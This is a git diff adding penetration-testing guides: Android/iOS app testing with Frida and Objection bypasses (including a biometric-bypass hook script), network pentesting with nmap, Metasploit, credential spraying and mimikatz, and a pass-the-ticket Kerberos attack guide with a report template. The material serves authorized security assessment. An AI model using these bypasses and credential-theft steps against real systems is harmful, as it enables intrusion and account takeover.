abnormal parent-child relationships +2. Run `windows.malfind` to detect injected code regions, particularly in `svchost.exe` or `rundll32.exe` +3. Dump the injected memory region and scan with YARA rules for Cobalt Strike beacon signatures +4. Run `windows.netscan` to identify C2 connections and correlate with the injected process PID +5. Extract the beacon configuration (C2 URLs, sleep time, jitter, watermark) using CobaltStrikeParser +6. Run `windows.cmdline` to identify any post-exploitation commands executed + +**Pitfalls**: +- Analyzing only the process list without running malfind (missing injected code in legitimate processes) +- Not capturing memory before isolating the endpoint (EDR containment may trigger malware self-deletion) +- Using Volatility 2 profiles instead of Volatility 3 automatic symbol resolution on newer Windows versions + +## Output Format + +``` +MEMORY FORENSICS ANALYSIS REPORT +================================== +Incident: INC-2025-1547 +Evidence File: WKSTN-042_20251115_1445.raw +SHA-256: a4b3c2d1e5f6... +OS Identified: Windows 10 22H2 (Build 19045) +Analysis Tool: Volatility 3.2.0 + +PROCESS ANOMALIES +PID Process Parent Anomaly +3847 update.exe powershell Suspicious executable in Temp directory +5102 svchost.exe explorer Wrong parent (expected services.exe) +--- [hidden] --- Found in psscan but not pslist + +INJECTED CODE +PID Process Address Range Protection Finding +5102 svchost.exe 0x00A10000-0x00A14 PAGE_EXECUTE_READWRITE MZ header (PE injection) + +NETWORK CONNECTIONS +PID Process Local Foreign State +3847 update.exe 10.1.5.42:49721 185.220.101.42:443 ESTABLISHED +5102 svchost.exe 10.1.5.42:51003 91.215.85.17:8443 ESTABLISHED + +YARA MATCHES +Rule: CobaltStrike_Beacon_x64 +Match PID: 5102 (svchost.exe) +Offset: 0x00A10240 + +EXTRACTED IOCS +Hashes: [SHA-256 of dumped injected code] +C2 IPs: 185.220.101.42, 91.215.85.17 +C2 Domains: [extracted from beacon config] +Mutexes: Global\MSCTF.Shared.MUTEX.ZRQ +``` diff --git a/skills/conducting-mobile-app-penetration-test/SKILL.md b/skills/conducting-mobile-app-penetration-test/SKILL.md new file mode 100644 index 00000000..8373eecd --- /dev/null +++ b/skills/conducting-mobile-app-penetration-test/SKILL.md @@ -0,0 +1,197 @@ +--- +name: conducting-mobile-app-penetration-test +description: > + Conducts penetration testing of iOS and Android mobile applications following the OWASP + Mobile Application Security Testing Guide (MASTG) to identify vulnerabilities in data storage, + network communication, authentication, cryptography, and platform-specific security controls. + The tester performs static analysis of application binaries, dynamic analysis at runtime, and + API security testing to evaluate the complete mobile attack surface. Activates for requests + involving mobile app pentest, iOS security assessment, Android security testing, or OWASP + MASTG assessment. +domain: cybersecurity +subdomain: penetration-testing +tags: [mobile-pentest, OWASP-MASTG, Android-security, iOS-security, mobile-application-security] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Conducting Mobile App Penetration Test + +## When to Use + +- Testing mobile applications before release to identify security vulnerabilities and data protection issues +- Conducting compliance assessments against OWASP MASVS (Mobile Application Security Verification Standard) levels L1 and L2 +- Evaluating the security of mobile banking, healthcare, or government applications handling sensitive data +- Testing mobile apps that interact with backend APIs to assess the end-to-end security of the mobile ecosystem +- Assessing mobile application resistance to reverse engineering, tampering, and runtime manipulation + +**Do not use** against mobile applications without written authorization from the application owner, for distributing modified or repackaged applications, or for testing apps on the public app stores without a separate test build. + +## Prerequisites + +- Target application IPA (iOS) and APK (Android) files or access to download from a private distribution channel +- Rooted Android device or emulator (Genymotion, Android Studio AVD) with Frida, Objection, and Magisk installed +- Jailbroken iOS device or Corellium virtual device with Frida, Objection, and SSL Kill Switch installed +- Static analysis tools: jadx (Android decompilation), Hopper/Ghidra (iOS binary analysis), MobSF (automated scanning) +- Burp Suite Professional configured as proxy for intercepting mobile app traffic with CA certificate installed on the test device + +## Workflow + +### Step 1: Static Analysis + +Analyze the application binary without executing it: + +**Android Static Analysis:** +- Decompile the APK: `jadx -d output/ target.apk` to obtain Java/Kotlin source code +- Review `AndroidManifest.xml` for exported components (activities, services, receivers, content providers), permissions, and debuggable flag +- Search for hardcoded secrets: `grep -rn "api_key\|password\|secret\|token\|aws_" output/` +- Identify insecure data storage patterns: SharedPreferences with sensitive data, SQLite databases without encryption, files in external storage +- Check for WebView vulnerabilities: `setJavaScriptEnabled(true)`, `addJavascriptInterface()`, and loading untrusted content +- Run MobSF automated scan: `python manage.py runserver` and upload the APK for automated static analysis + +**iOS Static Analysis:** +- Extract the IPA and locate the Mach-O binary +- Use `otool -L ` to list linked frameworks and identify third-party libraries +- Analyze with Ghidra or Hopper for hardcoded URLs, API endpoints, and embedded credentials +- Check Info.plist for App Transport Security (ATS) exceptions that allow insecure HTTP connections +- Review embedded entitlements for excessive capabilities + +### Step 2: Network Security Testing + +Intercept and analyze all network communications: + +- Configure Burp Suite as proxy on the test device and install the Burp CA certificate +- Exercise all application functionality while Burp captures API traffic +- **SSL/TLS validation**: Verify the app validates server certificates properly. If the app fails to connect through the proxy, it may implement certificate pinning. +- **Certificate pinning bypass**: + - Android: Use Frida script: `frida -U -f com.target.app -l ssl-pinning-bypass.js --no-pause` + - iOS: Use SSL Kill Switch or Objection: `objection -g "Target App" explore --startup-command "ios sslpinning disable"` +- **API traffic analysis**: Review all API calls for: + - Sensitive data transmitted without encryption + - Authentication tokens in URL parameters (visible in logs) + - Excessive data in API responses beyond what the UI displays + - Missing or weak authentication on API endpoints +- **WebSocket and custom protocols**: Check for non-HTTP communication channels that may bypass standard proxy interception + +### Step 3: Data Storage Analysis + +Test for insecure local data storage: + +**Android Data Storage:** +- Access app data directory: `/data/data/com.target.app/` +- Check SharedPreferences XML files for stored credentials, tokens, and PII +- Examine SQLite databases: `sqlite3 /data/data/com.target.app/databases/*.db ".dump"` +- Check for sensitive data in application logs: `logcat -d | grep -i "password\|token\|key"` +- Verify that application data is excluded from backups: `android:allowBackup="false"` in AndroidManifest.xml +- Check clipboard for sensitive data leakage + +**iOS Data Storage:** +- Examine the Keychain for stored credentials: `objection -g "Target App" explore` then `ios keychain dump` +- Check NSUserDefaults/plist files: `find /var/mobile/Containers/Data/Application/ -name "*.plist" -exec plutil -p {} \;` +- Inspect SQLite databases and Core Data stores for unencrypted sensitive data +- Check for data leaking through screenshots (iOS captures screenshots during app backgrounding) +- Verify data protection class: sensitive files should use NSFileProtectionComplete + +### Step 4: Authentication and Session Management + +Test mobile-specific authentication controls: + +- **Biometric bypass**: Test if biometric authentication can be bypassed by hooking the authentication callback with Frida to always return success +- **Token storage**: Verify that authentication tokens are stored in the Keychain (iOS) or Android Keystore, not in SharedPreferences or files +- **Session timeout**: Verify that sessions expire after a reasonable idle timeout and that tokens are invalidated server-side on logout +- **Root/jailbreak detection bypass**: Test if the app detects rooted/jailbroken devices and if the detection can be bypassed with Frida or Magisk Hide +- **Deep link abuse**: Test if custom URL schemes or universal links can be used to bypass authentication or access restricted functionality + +### Step 5: Runtime Manipulation + +Test the application's resistance to runtime attacks: + +- **Frida hooking**: Use Frida to hook and modify application functions at runtime: + - Bypass root detection: hook the detection function to return false + - Modify return values of authentication checks + - Intercept encryption functions to capture plaintext data before encryption + - Bypass certificate pinning by hooking SSL verification +- **Method swizzling** (iOS): Use Frida to replace Objective-C method implementations +- **Intent manipulation** (Android): Send crafted intents to exported components: `adb shell am start -n com.target.app/.InternalActivity -e "user_id" "admin"` +- **Tampering detection**: Modify the APK/IPA (add code, change resources), re-sign, and install. Verify whether the app detects tampering. + +## Key Concepts + +| Term | Definition | +|------|------------| +| **OWASP MASTG** | Mobile Application Security Testing Guide; comprehensive manual for mobile app security testing covering both iOS and Android platforms | +| **Certificate Pinning** | A mobile security control that restricts which TLS certificates the app trusts, preventing man-in-the-middle attacks through proxy interception | +| **Frida** | Dynamic instrumentation toolkit that allows injection of JavaScript into running processes to hook functions, modify behavior, and bypass security controls | +| **Root/Jailbreak Detection** | Application-level checks to detect if the device has been modified to grant root access, typically blocking app usage on compromised devices | +| **Android Keystore** | Hardware-backed credential storage on Android that protects cryptographic keys and secrets from extraction even on rooted devices | +| **App Transport Security (ATS)** | iOS security feature that enforces HTTPS connections by default; ATS exceptions may indicate insecure network communication | +| **Deep Links** | URL schemes that open specific screens within a mobile application, which may bypass normal navigation and authentication flows if not properly validated | + +## Tools & Systems + +- **Frida / Objection**: Dynamic instrumentation tools for hooking functions, bypassing security controls, and manipulating application behavior at runtime +- **MobSF (Mobile Security Framework)**: Automated static and dynamic analysis platform for Android and iOS applications +- **jadx**: Android decompiler that converts APK bytecode to readable Java source code for manual code review +- **Burp Suite Professional**: HTTP proxy for intercepting and modifying mobile app API traffic after bypassing certificate pinning + +## Common Scenarios + +### Scenario: Mobile Banking Application Security Assessment + +**Context**: A bank is launching a new mobile banking app for iOS and Android. The app handles account viewing, fund transfers, bill payment, and check deposit. OWASP MASVS L2 compliance is required due to the financial data handled. + +**Approach**: +1. Static analysis of the Android APK reveals API endpoints, a hardcoded staging server URL, and an AWS API key in a configuration file +2. Certificate pinning is implemented but bypassed with Frida SSL pinning bypass script +3. API traffic analysis reveals that the balance check endpoint returns all account numbers associated with the user, not just the requested account +4. Local data storage analysis finds that the app caches the last 10 transactions in an unencrypted SQLite database +5. Biometric authentication bypass: Frida hook on the biometric callback always returns success, granting access without fingerprint +6. Root detection is present but bypassed with Magisk Hide module, allowing the app to run on a rooted device with full data access + +**Pitfalls**: +- Testing only on an emulator and missing hardware-specific security features (Android Keystore hardware backing, iOS Secure Enclave) +- Not testing both iOS and Android versions, as they may have different implementations and different vulnerabilities +- Ignoring the backend API security because it was "tested separately" when the mobile app may call API endpoints differently than the web app +- Failing to test certificate pinning bypass, resulting in an incomplete network analysis + +## Output Format + +``` +## Finding: Biometric Authentication Bypass via Frida Instrumentation + +**ID**: MOB-003 +**Severity**: High (CVSS 7.7) +**Platform**: Android and iOS +**OWASP MASVS**: MASVS-AUTH-2 (Biometric Authentication) + +**Description**: +The mobile banking app's biometric authentication can be bypassed using Frida +dynamic instrumentation. The authentication callback function accepts a boolean +result from the biometric API, which can be hooked and forced to return true +without presenting a valid fingerprint or face scan. + +**Proof of Concept (Android)**: +frida -U -f com.bank.mobileapp -l bypass-biometric.js --no-pause + +// bypass-biometric.js +Java.perform(function() { + var BiometricCallback = Java.use("com.bank.mobileapp.auth.BiometricCallback"); + BiometricCallback.onAuthenticationSucceeded.implementation = function(result) { + console.log("[*] Biometric bypassed"); + this.onAuthenticationSucceeded(result); + }; +}); + +**Impact**: +An attacker with physical access to an unlocked device can bypass biometric +authentication and access the victim's bank accounts, initiate transfers, +and view financial data without biometric verification. + +**Remediation**: +1. Implement server-side biometric verification using Android BiometricPrompt + CryptoObject tied to a Keystore key +2. Require the biometric operation to decrypt a server-side challenge, making + client-side bypass ineffective +3. Add runtime integrity checks to detect Frida and other instrumentation frameworks +4. Implement step-up authentication for high-risk operations (transfers > threshold) +``` diff --git a/skills/conducting-mobile-application-penetration-test/SKILL.md b/skills/conducting-mobile-application-penetration-test/SKILL.md new file mode 100644 index 00000000..a8385af1 --- /dev/null +++ b/skills/conducting-mobile-application-penetration-test/SKILL.md @@ -0,0 +1,233 @@ +--- +name: conducting-mobile-application-penetration-test +description: Perform a mobile application penetration test on Android and iOS apps to identify insecure data storage, certificate pinning bypass, API vulnerabilities, binary protections, and runtime manipulation using Frida, Objection, and MobSF. +domain: cybersecurity +subdomain: penetration-testing +tags: [mobile-pentest, Android, iOS, Frida, Objection, MobSF, OWASP-MASTG, certificate-pinning, APK-analysis] +version: "1.0" +author: mahipal +license: MIT +--- + +# Conducting Mobile Application Penetration Test + +## Overview + +Mobile application penetration testing evaluates the security of Android and iOS applications following the OWASP Mobile Application Security Testing Guide (MASTG) and Mobile Application Security Verification Standard (MASVS). Testing covers static analysis of the application binary, dynamic runtime analysis, API communication security, data storage assessment, and reverse engineering resistance. + +## Prerequisites + +- Application APK/IPA file or TestFlight/Play Store access +- Rooted Android device or emulator (Genymotion, Android Studio AVD) +- Jailbroken iOS device or Corellium cloud instance +- Tools: Frida, Objection, MobSF, Jadx, Burp Suite, adb, Ghidra +- OWASP MASTG checklist + +## Android Testing + +### Static Analysis + +```bash +# Decompile APK with jadx +jadx -d output_dir target.apk + +# Search for hardcoded secrets +grep -rn "api_key\|secret\|password\|token\|firebase" output_dir/sources/ + +# Check AndroidManifest.xml +# Look for: exported components, debuggable=true, allowBackup=true +grep -i "exported\|debuggable\|allowBackup\|android:permission" output_dir/resources/AndroidManifest.xml + +# MobSF automated static analysis +# Upload APK to MobSF web interface (http://localhost:8000) +# Or use REST API: +curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \ + -H "Authorization: " + +# Check for insecure network security config +cat output_dir/resources/res/xml/network_security_config.xml +# Look for: cleartextTrafficPermitted="true", trust-anchors with user certs + +# Analyze native libraries +find output_dir/resources/lib -name "*.so" -exec strings {} \; | grep -i "key\|secret" +``` + +### Dynamic Analysis + +```bash +# Install on device via adb +adb install target.apk + +# Start Frida server on device +adb push frida-server /data/local/tmp/ +adb shell chmod 755 /data/local/tmp/frida-server +adb shell /data/local/tmp/frida-server & + +# Objection — runtime exploration +objection -g com.target.app explore + +# Inside Objection: +# List activities and services +android hooking list activities +android hooking list services + +# Bypass root detection +android root disable + +# Bypass SSL pinning +android sslpinning disable + +# Dump keystore +android keystore list + +# Enumerate shared preferences +android hooking search classes SharedPreferences + +# Monitor clipboard +android clipboard monitor + +# Explore filesystem +env +ls /data/data/com.target.app/ +file download /data/data/com.target.app/shared_prefs/ +file download /data/data/com.target.app/databases/ +``` + +### Data Storage Testing + +```bash +# Check shared preferences for sensitive data +adb shell cat /data/data/com.target.app/shared_prefs/*.xml + +# Check SQLite databases +adb pull /data/data/com.target.app/databases/app.db +sqlite3 app.db ".dump" | grep -i "password\|token\|session" + +# Check for data in external storage +adb shell ls /sdcard/Android/data/com.target.app/ + +# Check for sensitive data in logs +adb logcat -d | grep -i "token\|password\|session\|api_key" + +# Backup extraction +adb backup -apk -shared com.target.app -f backup.ab +java -jar abe.jar unpack backup.ab backup.tar +tar xf backup.tar +``` + +### Network Traffic Analysis + +```bash +# Configure Burp proxy on device +# Settings > WiFi > Proxy > Manual > 192.168.1.100:8080 +# Install Burp CA certificate on device + +# For apps with certificate pinning: +# Method 1: Objection +objection -g com.target.app explore +android sslpinning disable + +# Method 2: Frida script +frida -U -f com.target.app -l ssl_pinning_bypass.js --no-pause + +# Method 3: Patch APK +# Use apktool to decompile, modify network_security_config.xml, repack +apktool d target.apk -o decompiled/ +# Edit res/xml/network_security_config.xml to trust user CAs +apktool b decompiled/ -o patched.apk +jarsigner -keystore my.keystore patched.apk alias_name +``` + +## iOS Testing + +### Static Analysis + +```bash +# Decrypt IPA (from jailbroken device) +# Using frida-ios-dump +python3 dump.py com.target.app + +# Or using Clutch on device +Clutch -d com.target.app + +# Analyze binary with class-dump +class-dump -H TargetApp -o headers/ +grep -rn "password\|token\|secret\|apiKey" headers/ + +# Check Info.plist +plutil -p Payload/TargetApp.app/Info.plist +# Look for: ATS exceptions, URL schemes, exported UTIs + +# Check for insecure API connections +grep -i "http://" headers/*.h +grep -i "NSAllowsArbitraryLoads" Payload/TargetApp.app/Info.plist +``` + +### Dynamic Analysis (iOS) + +```bash +# Frida on iOS +frida -U -f com.target.app -l ios_bypass.js --no-pause + +# Objection for iOS +objection -g com.target.app explore + +# Inside Objection: +ios sslpinning disable +ios jailbreak disable +ios keychain dump +ios plist cat NSUserDefaults +ios cookies get +ios nsurlcredentialstorage dump + +# Check Keychain for stored secrets +objection -g com.target.app explore --startup-command 'ios keychain dump' + +# Check for data protection classes +objection -g com.target.app explore --startup-command 'ios info binary' +``` + +### API Testing + +```bash +# Through Burp Suite, test captured API calls: + +# Authentication bypass +# Modify JWT tokens, test for algorithm confusion (none, HS256 vs RS256) + +# IDOR testing +# Change user identifiers in API requests + +# Rate limiting +# Brute force OTP/PIN endpoints + +# Input validation +# Test for injection in API parameters + +# Business logic +# Manipulate prices, quantities, subscription tiers in requests +``` + +## OWASP MASVS Checklist + +| Category | Test | Status | +|----------|------|--------| +| MASVS-STORAGE-1 | Sensitive data in system logs | [ ] | +| MASVS-STORAGE-2 | Sensitive data in backups | [ ] | +| MASVS-STORAGE-3 | Sensitive data in IPC | [ ] | +| MASVS-CRYPTO-1 | Proper cryptographic APIs | [ ] | +| MASVS-AUTH-1 | Local authentication bypass | [ ] | +| MASVS-NETWORK-1 | TLS with trusted CA | [ ] | +| MASVS-NETWORK-2 | Certificate pinning | [ ] | +| MASVS-PLATFORM-1 | Exported components secured | [ ] | +| MASVS-CODE-1 | Code obfuscation | [ ] | +| MASVS-RESILIENCE-1 | Root/jailbreak detection | [ ] | + +## References + +- OWASP MASTG: https://mas.owasp.org/MASTG/ +- OWASP MASVS: https://mas.owasp.org/MASVS/ +- Frida: https://frida.re/ +- Objection: https://github.com/sensepost/objection +- MobSF: https://github.com/MobSF/Mobile-Security-Framework-MobSF +- JADX: https://github.com/skylot/jadx diff --git a/skills/conducting-network-penetration-test/SKILL.md b/skills/conducting-network-penetration-test/SKILL.md new file mode 100644 index 00000000..d1fa8e0c --- /dev/null +++ b/skills/conducting-network-penetration-test/SKILL.md @@ -0,0 +1,188 @@ +--- +name: conducting-network-penetration-test +description: > + Conducts comprehensive network penetration tests against authorized target environments by + performing host discovery, port scanning, service enumeration, vulnerability identification, + and controlled exploitation to assess the security posture of network infrastructure. The + tester follows PTES methodology from reconnaissance through post-exploitation and reporting. + Activates for requests involving network pentest, infrastructure security assessment, + internal network testing, or external perimeter testing. +domain: cybersecurity +subdomain: penetration-testing +tags: [network-pentest, Nmap, Metasploit, vulnerability-exploitation, infrastructure-security] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Conducting Network Penetration Test + +## When to Use + +- Assessing the security posture of internal or external network infrastructure before or after deployment +- Validating firewall rules, network segmentation, and access controls under realistic attack conditions +- Identifying exploitable vulnerabilities in network services, protocols, and configurations +- Meeting compliance requirements for PCI-DSS, HIPAA, SOC 2, or ISO 27001 that mandate periodic penetration testing +- Evaluating the effectiveness of IDS/IPS, SIEM, and SOC detection capabilities against real attack traffic + +**Do not use** for testing networks without explicit written authorization from the asset owner, against production systems without a pre-approved change window and rollback plan, or for denial-of-service testing unless explicitly scoped and authorized. + +## Prerequisites + +- Signed Rules of Engagement (RoE) document specifying target IP ranges, excluded hosts, testing hours, and emergency contacts +- Written authorization letter (get-out-of-jail letter) from the network owner +- Dedicated testing laptop with Kali Linux or equivalent distribution with up-to-date tools +- VPN or direct network access to the target scope as defined in the RoE +- Out-of-band communication channel with the client's incident response team +- Scope document listing in-scope IP ranges, domains, and any explicitly excluded systems (medical devices, SCADA, critical infrastructure) + +## Workflow + +### Step 1: Pre-Engagement and Scope Validation + +Validate the scope by confirming IP ranges with the client. Verify that all IP addresses in scope are owned by the client using ARIN/RIPE WHOIS lookups. Confirm testing windows, escalation procedures, and any sensitivity constraints. Set up the testing environment with a dedicated VM, VPN connection, and logging enabled on all tools. Create a timestamped activity log that records every command executed, every scan launched, and every exploit attempted throughout the engagement. + +### Step 2: Host Discovery and Network Mapping + +Identify live hosts within the authorized scope using layered discovery techniques: + +- **ICMP sweep**: `nmap -sn -PE -PP -PM 10.10.0.0/16 -oA discovery_icmp` to find hosts responding to ping +- **ARP scan** (internal networks): `nmap -sn -PR 10.10.0.0/24 -oA discovery_arp` or `arp-scan -l` for local subnet enumeration +- **TCP SYN discovery**: `nmap -sn -PS21,22,25,80,443,445,3389,8080 10.10.0.0/16 -oA discovery_tcp` to find hosts with ICMP blocked +- **UDP discovery**: `nmap -sn -PU53,161,500 10.10.0.0/16 -oA discovery_udp` for hosts only responding on UDP + +Consolidate live hosts into a target list. Map the network topology by identifying gateways, VLAN boundaries, and trust relationships using traceroute and SNMP community string guessing where authorized. + +### Step 3: Port Scanning and Service Enumeration + +Perform detailed port scanning on discovered hosts: + +- **Full TCP scan**: `nmap -sS -p- --min-rate 1000 -T4 -oA full_tcp ` to identify all open TCP ports +- **Top UDP ports**: `nmap -sU --top-ports 200 -T4 -oA top_udp ` for commonly exploitable UDP services +- **Service version detection**: `nmap -sV -sC -p -oA service_enum ` to fingerprint service versions and run default NSE scripts +- **OS fingerprinting**: `nmap -O --osscan-guess -oA os_detection ` to identify operating systems + +Enumerate discovered services in depth using protocol-specific tools: +- SMB: `enum4linux -a `, `crackmapexec smb --shares` +- SNMP: `snmpwalk -v2c -c public ` +- DNS: `dig axfr @ ` for zone transfer attempts +- LDAP: `ldapsearch -x -H ldap:// -b "dc=example,dc=com"` + +### Step 4: Vulnerability Identification + +Correlate discovered service versions against known vulnerability databases: + +- Run `nmap --script vuln -p ` for NSE vulnerability scripts +- Use `searchsploit ` to query the Exploit-DB offline database +- Cross-reference with NVD (National Vulnerability Database) and CVE records for confirmed vulnerabilities +- Check for default credentials on management interfaces (Tomcat Manager, Jenkins, phpMyAdmin, database consoles) +- Test for common misconfigurations: anonymous FTP, open SMTP relays, unrestricted SNMP communities, NFS exports without authentication + +Prioritize vulnerabilities by CVSS score, exploitability, and business impact. Document each finding with CVE identifier, affected host, service, and version. + +### Step 5: Exploitation + +Attempt controlled exploitation of validated vulnerabilities using the principle of minimum necessary access: + +- **Metasploit Framework**: `msfconsole` with appropriate exploit modules matched to confirmed vulnerabilities. Set RHOSTS, RPORT, and payload options. Prefer bind/reverse TCP Meterpreter for post-exploitation flexibility. +- **Manual exploitation**: Use public proof-of-concept exploits from Exploit-DB after code review. Compile and modify as needed for the target environment. +- **Credential attacks**: Use `hydra` or `crackmapexec` for password spraying against discovered services (SSH, RDP, SMB, HTTP basic auth) using common credential lists. Respect lockout policies. +- **Pass-the-hash / relay**: If NTLM hashes are obtained, attempt pass-the-hash with `impacket-psexec` or relay attacks with `impacket-ntlmrelayx` where SMB signing is disabled. + +Document every exploitation attempt including failures. Capture screenshots of successful compromises showing hostname, IP, current user, and privilege level. + +### Step 6: Post-Exploitation and Pivoting + +After gaining access to a host, demonstrate business impact: + +- **Privilege escalation**: Check for local privilege escalation paths using `linpeas.sh` (Linux) or `winPEAS.exe` (Windows). Look for misconfigured services, SUID binaries, unquoted service paths, or kernel exploits. +- **Credential harvesting**: Extract stored credentials from memory (`mimikatz`), files (config files, browser stores), or cached hashes (`hashdump`). +- **Lateral movement**: Use obtained credentials to pivot to additional systems. Test network segmentation by attempting to reach out-of-scope networks from compromised hosts. +- **Data access demonstration**: Identify sensitive data accessible from compromised systems (PII databases, file shares, backup files) and document access without exfiltrating actual data. + +Maintain detailed notes on every pivot point, credential obtained, and system accessed to build the attack chain narrative. + +### Step 7: Cleanup and Reporting + +Remove all testing artifacts from compromised systems: + +- Delete uploaded tools, shells, and temporary files +- Remove any accounts created during testing +- Revert configuration changes made during exploitation +- Verify cleanup by re-scanning affected hosts + +Prepare the penetration test report with executive summary, methodology description, finding details with CVSS scores, proof-of-concept evidence, and prioritized remediation recommendations. + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Rules of Engagement (RoE)** | Formal document defining the scope, boundaries, testing hours, authorized actions, and escalation procedures for a penetration test | +| **Pivot** | Using a compromised host as a relay point to access additional network segments not directly reachable from the tester's position | +| **Service Enumeration** | The process of identifying running services, their versions, and configurations on discovered hosts to map the attack surface | +| **Credential Spraying** | Testing a small number of commonly used passwords against many accounts simultaneously to avoid account lockout thresholds | +| **CVSS** | Common Vulnerability Scoring System; an industry-standard framework for rating the severity of vulnerabilities on a 0-10 scale | +| **Lateral Movement** | Techniques used to move from one compromised system to another within a network, expanding the scope of access | +| **Post-Exploitation** | Activities performed after initial compromise including privilege escalation, persistence, credential harvesting, and data access | + +## Tools & Systems + +- **Nmap**: Network discovery, port scanning, service enumeration, and vulnerability detection via the Nmap Scripting Engine (NSE) +- **Metasploit Framework**: Exploitation framework providing exploit modules, payloads, encoders, and post-exploitation tools for validated vulnerability exploitation +- **CrackMapExec**: Swiss-army knife for Windows/Active Directory environments supporting SMB, WinRM, LDAP, and MSSQL enumeration and exploitation +- **Impacket**: Python library providing low-level programmatic access to network protocols (SMB, MSRPC, Kerberos) used for relay attacks and remote execution +- **Burp Suite**: Web application proxy used when network services expose HTTP-based management interfaces + +## Common Scenarios + +### Scenario: Internal Network Penetration Test for a Financial Institution + +**Context**: The client is a mid-size bank requiring PCI-DSS compliance. Scope includes the internal corporate network (10.10.0.0/16), excluding payment processing systems in a separate VLAN. Testing window is Monday-Friday 20:00-06:00 to minimize impact on operations. + +**Approach**: +1. Perform ARP-based host discovery on accessible subnets and TCP SYN discovery for hosts with ICMP disabled +2. Conduct full port scans on all discovered hosts, prioritizing Windows servers and domain controllers +3. Enumerate SMB shares, SNMP communities, and web management interfaces for quick wins +4. Identify and exploit an unpatched Apache Tomcat instance with default credentials to gain initial foothold +5. Escalate privileges via a local Windows kernel vulnerability, then extract cached domain credentials with Mimikatz +6. Demonstrate lateral movement to the database server containing customer records, proving inadequate network segmentation +7. Document the complete attack path from initial access to sensitive data, with remediation steps for each vulnerability + +**Pitfalls**: +- Scanning too aggressively during business hours and triggering IDS alerts or service disruptions +- Failing to verify that all target IPs are actually owned by the client before scanning +- Not documenting exploitation attempts that failed, missing the opportunity to report on effective controls +- Forgetting to clean up Meterpreter sessions and uploaded tools after testing + +## Output Format + +``` +## Finding: Unpatched Apache Tomcat with Default Credentials + +**ID**: NET-001 +**Severity**: Critical (CVSS 9.8) +**Affected Host**: 10.10.5.23 (tomcat-prod.internal.corp) +**Service**: Apache Tomcat 8.5.31 on port 8080 +**CVE**: CVE-2019-0232 + +**Description**: +The Apache Tomcat instance on 10.10.5.23:8080 is running version 8.5.31, which is +vulnerable to CVE-2019-0232 (remote code execution via CGI Servlet). Additionally, +the Tomcat Manager interface is accessible with default credentials (tomcat:tomcat), +allowing deployment of arbitrary WAR files. + +**Proof of Concept**: +1. Accessed http://10.10.5.23:8080/manager/html with credentials tomcat:tomcat +2. Deployed malicious WAR file containing a reverse shell payload +3. Obtained command execution as NT AUTHORITY\SYSTEM + +**Impact**: +Full system compromise of the Tomcat server. From this host, the tester +pivoted to 3 additional systems on the same subnet using harvested credentials, +ultimately accessing the customer database containing 50,000+ records. + +**Remediation**: +1. Immediately change default Tomcat Manager credentials +2. Upgrade Apache Tomcat to the latest stable release (currently 10.1.x) +3. Restrict access to the Tomcat Manager interface to authorized management IPs only +4. Implement network segmentation between web servers and database tier +``` diff --git a/skills/conducting-pass-the-ticket-attack/SKILL.md b/skills/conducting-pass-the-ticket-attack/SKILL.md new file mode 100644 index 00000000..e74449a8 --- /dev/null +++ b/skills/conducting-pass-the-ticket-attack/SKILL.md @@ -0,0 +1,65 @@ +--- +name: conducting-pass-the-ticket-attack +description: Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets fro +domain: cybersecurity +subdomain: red-teaming +tags: [red-team, adversary-simulation, mitre-attack, exploitation, post-exploitation, kerberos, pass-the-ticket, lateral-movement] +version: "1.0" +author: mahipal +license: MIT +--- +# Conducting Pass-the-Ticket Attack + +## Overview + +Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets from memory (LSASS) on a compromised host, an attacker can inject those tickets into their own session to impersonate the ticket owner and access resources as that user. + +## MITRE ATT&CK Mapping + +- **T1550.003** - Use Alternate Authentication Material: Pass the Ticket +- **T1003.001** - OS Credential Dumping: LSASS Memory +- **T1558** - Steal or Forge Kerberos Tickets +- **T1021.002** - Remote Services: SMB/Windows Admin Shares + +## Implementation Steps + +### Phase 1: Ticket Extraction +1. Gain local admin access on target workstation +2. Dump Kerberos tickets from LSASS memory using Mimikatz or Rubeus +3. Export tickets in .kirbi format (Mimikatz) or base64 (Rubeus) +4. Identify high-value tickets (Domain Admin TGTs, service tickets to critical systems) + +### Phase 2: Ticket Injection +1. Purge existing Kerberos tickets from attacker session +2. Import/inject stolen ticket into current session +3. Verify ticket is loaded and valid +4. Access target resources using injected ticket + +### Phase 3: Lateral Movement +1. Access remote systems using the stolen ticket identity +2. Perform actions as the impersonated user +3. Collect additional credentials from accessed systems +4. Document evidence of successful lateral movement + +## Tools and Resources + +| Tool | Purpose | Command | +|------|---------|---------| +| Mimikatz | Ticket export/import | sekurlsa::tickets /export, kerberos::ptt | +| Rubeus | Ticket dumping and injection | dump, ptt, tgtdeleg | +| Impacket ticketConverter | Convert between formats | ticketConverter.py ticket.kirbi ticket.ccache | +| Impacket psexec/smbexec | Remote execution with ticket | KRB5CCNAME=ticket.ccache psexec.py | + +## Detection Indicators + +- Event ID 4768 with unusual client addresses +- Event ID 4769 service ticket requests from unexpected hosts +- TGT usage from different IP than the TGT was issued to +- Multiple authentications from same ticket across different workstations + +## Validation Criteria + +- [ ] Kerberos tickets extracted from compromised host +- [ ] Tickets injected into attacker session +- [ ] Lateral movement demonstrated using stolen tickets +- [ ] Evidence captured for reporting diff --git a/skills/conducting-pass-the-ticket-attack/assets/template.md b/skills/conducting-pass-the-ticket-attack/assets/template.md new file mode 100644 index 00000000..0d369e5d --- /dev/null +++ b/skills/conducting-pass-the-ticket-attack/assets/template.md @@ -0,0 +1,39 @@ +# Pass-the-Ticket Attack Report Template + +## Document Control +| Field | Value | +|-------|-------| +| Domain | [DOMAIN.LOCAL] | +| Engagement ID | [ID] | +| Date | [DATE] | + +--- + +## 1. Ticket Extraction + +| Source Host | Method | Tickets Found | High-Value | +|------------|--------|--------------|------------| +| | Mimikatz/Rubeus | | | + +## 2. Ticket Details + +| User | Type | Service | Expiry | Encryption | +|------|------|---------|--------|-----------| +| | TGT/TGS | krbtgt/cifs | | RC4/AES | + +## 3. Lateral Movement Results + +| Target | Access | Method | Evidence | +|--------|--------|--------|----------| +| | Admin/User | PsExec/SMB | Screenshot | + +## 4. Recommendations +1. Enable Credential Guard +2. Implement Protected Users 